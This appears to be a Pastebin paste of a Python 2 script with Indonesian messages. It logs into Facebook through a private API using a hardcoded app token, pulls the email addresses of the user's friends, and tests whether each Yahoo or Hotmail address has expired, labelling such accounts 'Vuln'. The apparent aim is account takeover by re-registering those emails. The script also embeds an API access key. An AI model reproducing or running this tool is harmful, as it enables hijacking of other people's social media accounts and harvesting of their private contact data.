Advertisement
Guest User

Untitled

a guest
Mar 26th, 2019
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.94 KB | None | 0 0
  1. # encoding=utf8
  2. # Author: Edi-Garsell
  3. import requests, json, os, re, sys, mechanize, urllib
  4. reload(sys)
  5. sys.setdefaultencoding('utf8')
  6. br = mechanize.Browser()
  7. br.set_handle_robots(False)
  8. os.system("clear")
  9. idt = raw_input("\033[39m[\033[31m*\033[39m] Email : ")
  10. passw = raw_input("\033[39m[\033[31m*\033[39m] Password: ")
  11. url = "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (idt) + "&locale=en_US&password=" + (passw) + "&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
  12. data = urllib.urlopen(url)
  13. op = json.load(data)
  14. if 'access_token' in op:
  15. token = (op["access_token"])
  16. print ("\033[39m[\033[31m+\033[39m] Yess Login Berhasil Boss")
  17. else:
  18. print ("\033[39m[\033[31m+\033[39m] \033[31mLogin Gagal Boss!")
  19. sys.exit()
  20. get_friends = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  21. hasil = json.loads(get_friends.text)
  22. print ("\033[39m[\033[31m+\033[39m] Berhasil Anda Mendapatkan ID Teman...")
  23. #cok = open('Mail_Yahoo.txt','w')
  24. def defense():
  25. global o, h
  26. o = []
  27. h = 0
  28. print "\033[36m" + 55*"-"
  29. print "\033[36m| " + 11*" " + "\033[35mEmail" + 14*" " + "\033[36m|" + 9*" " + "\033[33mVuln" + 8*" " + "\033[36m|"
  30. print 55*"-"
  31. for i in hasil['data']:
  32. wrna = "\033[36m"
  33. wrne = "\033[39m"
  34. h +=1
  35. o.append(h)
  36. x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+token)
  37. z = json.loads(x.text)
  38. try:
  39. kunci = re.compile(r'@.*')
  40. cari = kunci.search(z['email']).group()
  41. if 'yahoo.com' in cari:
  42. br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com")
  43. br._factory.is_html = True
  44. br.select_form(nr=0)
  45. br["username"] = z['email']
  46. j = br.submit().read()
  47. Zen = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*')
  48. try:
  49. cd = Zen.search(j).group()
  50. except:
  51. vuln = 6*" " + "\033[31mNot Vuln"
  52. #Email Len
  53. lean = 30 - (len(z['email']))
  54. eml = lean * " "
  55. #Name Len
  56. lone = 24 - (len(vuln))
  57. namel = lone * " "
  58. print "\033[36m| " + wrna + z['email'] + eml + "\033[36m| " + wrne + vuln + namel + " \033[36m|"
  59. continue
  60. if '"messages.ERROR_INVALID_USERNAME">' in cd:
  61. vuln = 8*" " + "\033[32mVuln"
  62. else:
  63. vuln = 5*" " + "\033[31mNot Vuln"
  64. #Email Len
  65. lean = 30 - (len(z['email']))
  66. eml = lean * " "
  67. #Name Len
  68. #Author: Edi-Garsell
  69. lone = 24 - (len(vuln))
  70. namel = lone * " "
  71. print "\033[36m| " + wrna + z['email'] + eml + "\033[36m| " + wrne + vuln + namel + " \033[36m|"
  72. elif 'hotmail' in cari:
  73. url = ("http://apilayer.net/api/check?access_key=7a58ece2d10e54d09e93b71379677dbb&email=" + z['email'] + "&smtp=1&format=1")
  74. cek = json.loads(requests.get(url).text)
  75. if cek['smtp_check'] == 0:
  76. vuln = 8*" " + "\033[32mVuln"
  77.  
  78. else:
  79. vuln = 5*" " + "\033[31mNot Vuln"
  80. lean = 30 - (len(z['email']))
  81. eml = lean * " "
  82. #Name Len
  83. #Author: Edi-Garsell
  84. lone = 24 - (len(vuln))
  85. namel = lone * " "
  86. print "\033[36m| " + wrna + z['email'] + eml + "\033[36m| " + wrne + vuln + namel + "\033[36m|"
  87. else:
  88. pass
  89. except KeyError:
  90. pass
  91. defense()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement